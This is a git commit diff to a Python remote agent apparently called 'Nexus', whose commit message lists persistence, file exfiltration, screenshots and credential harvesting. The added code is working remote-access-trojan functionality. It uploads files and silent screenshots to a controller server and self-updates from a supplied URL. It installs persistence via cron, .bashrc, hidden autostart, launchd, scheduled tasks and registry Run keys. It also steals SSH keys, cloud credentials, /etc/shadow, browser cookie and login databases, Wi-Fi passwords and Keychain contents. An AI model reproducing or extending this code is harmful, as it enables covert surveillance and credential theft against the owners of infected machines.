v2: persistence, file exfil, screenshot, harvest creds, auto-update, persistence fallbacks
This commit is contained in:
275
agents/agent.py
275
agents/agent.py
@@ -241,6 +241,244 @@ def execute_structured_action(action_type, payload):
|
||||
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
|
||||
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||
|
||||
elif action_type == "download_file":
|
||||
filepath = payload.get("path", "")
|
||||
if not filepath or not os.path.exists(filepath):
|
||||
return f"ERROR: file not found: {filepath}", 1
|
||||
try:
|
||||
with open(filepath, 'rb') as f:
|
||||
raw = f.read()
|
||||
import base64
|
||||
b64 = base64.b64encode(raw).decode('utf-8')
|
||||
# Determine MIME (basic)
|
||||
ext = os.path.splitext(filepath)[1].lower()
|
||||
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
|
||||
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
|
||||
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
||||
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
|
||||
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
|
||||
mime = mime_map.get(ext, 'application/octet-stream')
|
||||
filename = os.path.basename(filepath)
|
||||
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
|
||||
except Exception as e:
|
||||
return f"ERROR reading file: {e}", 1
|
||||
|
||||
elif action_type == "screenshot":
|
||||
try:
|
||||
import base64
|
||||
if system == "linux":
|
||||
# Try multiple screenshot tools
|
||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||
if tool == "import":
|
||||
subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
elif tool == "scrot":
|
||||
subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
elif tool == "gnome-screenshot":
|
||||
subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
elif tool == "spectacle":
|
||||
subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
break
|
||||
else:
|
||||
# Try Xlib via python3 if available
|
||||
subprocess.run(["python3", "-c",
|
||||
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
elif system == "darwin":
|
||||
subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
elif system == "windows":
|
||||
subprocess.run(["powershell", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
|
||||
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||
timeout=15)
|
||||
os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
|
||||
if os.path.exists("/tmp/.nexus-ss.png"):
|
||||
with open("/tmp/.nexus-ss.png", 'rb') as f:
|
||||
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||
os.remove("/tmp/.nexus-ss.png")
|
||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||
return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
|
||||
except Exception as e:
|
||||
return f"ERROR screenshot: {e}", 1
|
||||
|
||||
elif action_type == "update_agent":
|
||||
new_url = payload.get("url", "")
|
||||
if not new_url:
|
||||
return "ERROR: no update URL provided", 1
|
||||
try:
|
||||
my_path = os.path.abspath(__file__)
|
||||
bak = my_path + ".bak"
|
||||
os.rename(my_path, bak)
|
||||
urllib.request.urlretrieve(new_url, my_path)
|
||||
os.chmod(my_path, 0o755)
|
||||
os.remove(bak)
|
||||
return "Agent updated successfully. Restarting...", 0
|
||||
except Exception as e:
|
||||
# Restore backup
|
||||
if os.path.exists(bak):
|
||||
os.rename(bak, my_path)
|
||||
return f"ERROR update failed: {e}", 1
|
||||
|
||||
elif action_type == "ensure_persistence":
|
||||
results = []
|
||||
if system == "linux":
|
||||
# crontab
|
||||
try:
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
results.append("crontab: added @reboot entry")
|
||||
else:
|
||||
results.append("crontab: already present")
|
||||
except: results.append("crontab: failed")
|
||||
# .bashrc
|
||||
try:
|
||||
bashrc = os.path.expanduser("~/.bashrc")
|
||||
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
|
||||
with open(bashrc, 'a+') as f:
|
||||
f.seek(0)
|
||||
if 'nexus-agent' not in f.read():
|
||||
f.write(hook)
|
||||
results.append("bashrc: hook installed")
|
||||
except: results.append("bashrc: failed")
|
||||
# autostart .desktop
|
||||
try:
|
||||
ad = os.path.expanduser("~/.config/autostart")
|
||||
os.makedirs(ad, exist_ok=True)
|
||||
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
||||
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
||||
results.append("autostart: .desktop created")
|
||||
except: results.append("autostart: failed")
|
||||
elif system == "darwin":
|
||||
try:
|
||||
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
|
||||
os.makedirs(os.path.dirname(plist), exist_ok=True)
|
||||
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
|
||||
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||
with open(plist, 'w') as f: f.write(plist_content)
|
||||
subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
results.append("launchd: plist loaded")
|
||||
except: results.append("launchd: failed")
|
||||
# crontab for macOS too
|
||||
try:
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
results.append("crontab: added")
|
||||
except: results.append("crontab: failed")
|
||||
elif system == "windows":
|
||||
agent_path = os.path.abspath(__file__)
|
||||
srv = payload.get("server_url", "")
|
||||
try:
|
||||
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
|
||||
subprocess.run(task_cmd, shell=True, timeout=10)
|
||||
results.append("schtasks: scheduled task created")
|
||||
except: results.append("schtasks: failed")
|
||||
try:
|
||||
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
|
||||
subprocess.run(reg_cmd, shell=True, timeout=10)
|
||||
results.append("registry: Run key added")
|
||||
except: results.append("registry: failed")
|
||||
return "Persistence results: " + "; ".join(results), 0
|
||||
|
||||
elif action_type == "harvest_credentials":
|
||||
creds = []
|
||||
home = os.path.expanduser("~")
|
||||
# Shell history
|
||||
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
|
||||
p = os.path.expanduser(hist)
|
||||
if os.path.exists(p):
|
||||
try:
|
||||
with open(p, 'r', errors='ignore') as f:
|
||||
content = f.read()[-20000:]
|
||||
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
|
||||
except: pass
|
||||
# SSH keys
|
||||
ssh_dir = os.path.join(home, ".ssh")
|
||||
if os.path.exists(ssh_dir):
|
||||
for fn in os.listdir(ssh_dir):
|
||||
fp = os.path.join(ssh_dir, fn)
|
||||
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
|
||||
try:
|
||||
with open(fp, 'r', errors='ignore') as f:
|
||||
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
|
||||
except: pass
|
||||
# AWS / cloud credentials
|
||||
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
|
||||
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
|
||||
p = os.path.expanduser(cf)
|
||||
if os.path.exists(p):
|
||||
try:
|
||||
with open(p, 'r', errors='ignore') as f:
|
||||
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
|
||||
except: pass
|
||||
# /etc/shadow (if root)
|
||||
if os.path.exists("/etc/shadow"):
|
||||
try:
|
||||
with open("/etc/shadow", 'r') as f:
|
||||
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
|
||||
except: pass
|
||||
# Browser cookie/saved-login DBs (common paths)
|
||||
browser_paths = []
|
||||
if system == "linux":
|
||||
browser_paths = [
|
||||
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
|
||||
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
|
||||
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
|
||||
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
|
||||
os.path.expanduser("~/.config/chromium/Default/Cookies"),
|
||||
os.path.expanduser("~/.config/chromium/Default/Login Data"),
|
||||
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
|
||||
]
|
||||
elif system == "darwin":
|
||||
browser_paths = [
|
||||
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
|
||||
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
|
||||
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
|
||||
]
|
||||
elif system == "windows":
|
||||
browser_paths = [
|
||||
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
|
||||
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
|
||||
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
|
||||
]
|
||||
import glob
|
||||
for pattern in browser_paths:
|
||||
for p in glob.glob(pattern):
|
||||
try:
|
||||
sz = os.path.getsize(p)
|
||||
if sz > 0 and sz < 50 * 1024 * 1024:
|
||||
with open(p, 'rb') as f:
|
||||
import base64
|
||||
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
|
||||
"data": base64.b64encode(f.read()).decode('utf-8')})
|
||||
except: pass
|
||||
# Wi-Fi passwords (Linux)
|
||||
if system == "linux":
|
||||
try:
|
||||
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
|
||||
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
|
||||
if wifi.strip() and 'no wifi' not in wifi:
|
||||
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
|
||||
except: pass
|
||||
# macOS Keychain dump
|
||||
if system == "darwin":
|
||||
try:
|
||||
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
|
||||
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
|
||||
if keychain.strip():
|
||||
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
||||
except: pass
|
||||
|
||||
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
@@ -443,12 +681,37 @@ def main():
|
||||
|
||||
output, exit_code = execute_structured_action(action_type, payload)
|
||||
|
||||
http_post(f"{server_url}/api/agent/command-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"output": output,
|
||||
"exitCode": exit_code
|
||||
})
|
||||
# Check for JSON-encoded special result types
|
||||
special = None
|
||||
try:
|
||||
if output.startswith('{'):
|
||||
special = json.loads(output)
|
||||
except: pass
|
||||
|
||||
if special and special.get("type") == "file_result":
|
||||
# Route to file-result endpoint
|
||||
http_post(f"{server_url}/api/agent/file-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"filename": special.get("filename", "unknown"),
|
||||
"data": special.get("data", ""),
|
||||
"mime": special.get("mime", "application/octet-stream")
|
||||
})
|
||||
elif special and special.get("type") == "harvest_result":
|
||||
http_post(f"{server_url}/api/agent/harvest-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"credentials": special.get("credentials", [])
|
||||
})
|
||||
else:
|
||||
http_post(f"{server_url}/api/agent/command-result", {
|
||||
"commandId": cmd_id,
|
||||
"nodeId": node_id,
|
||||
"output": output,
|
||||
"exitCode": exit_code
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||
|
||||
Reference in New Issue
Block a user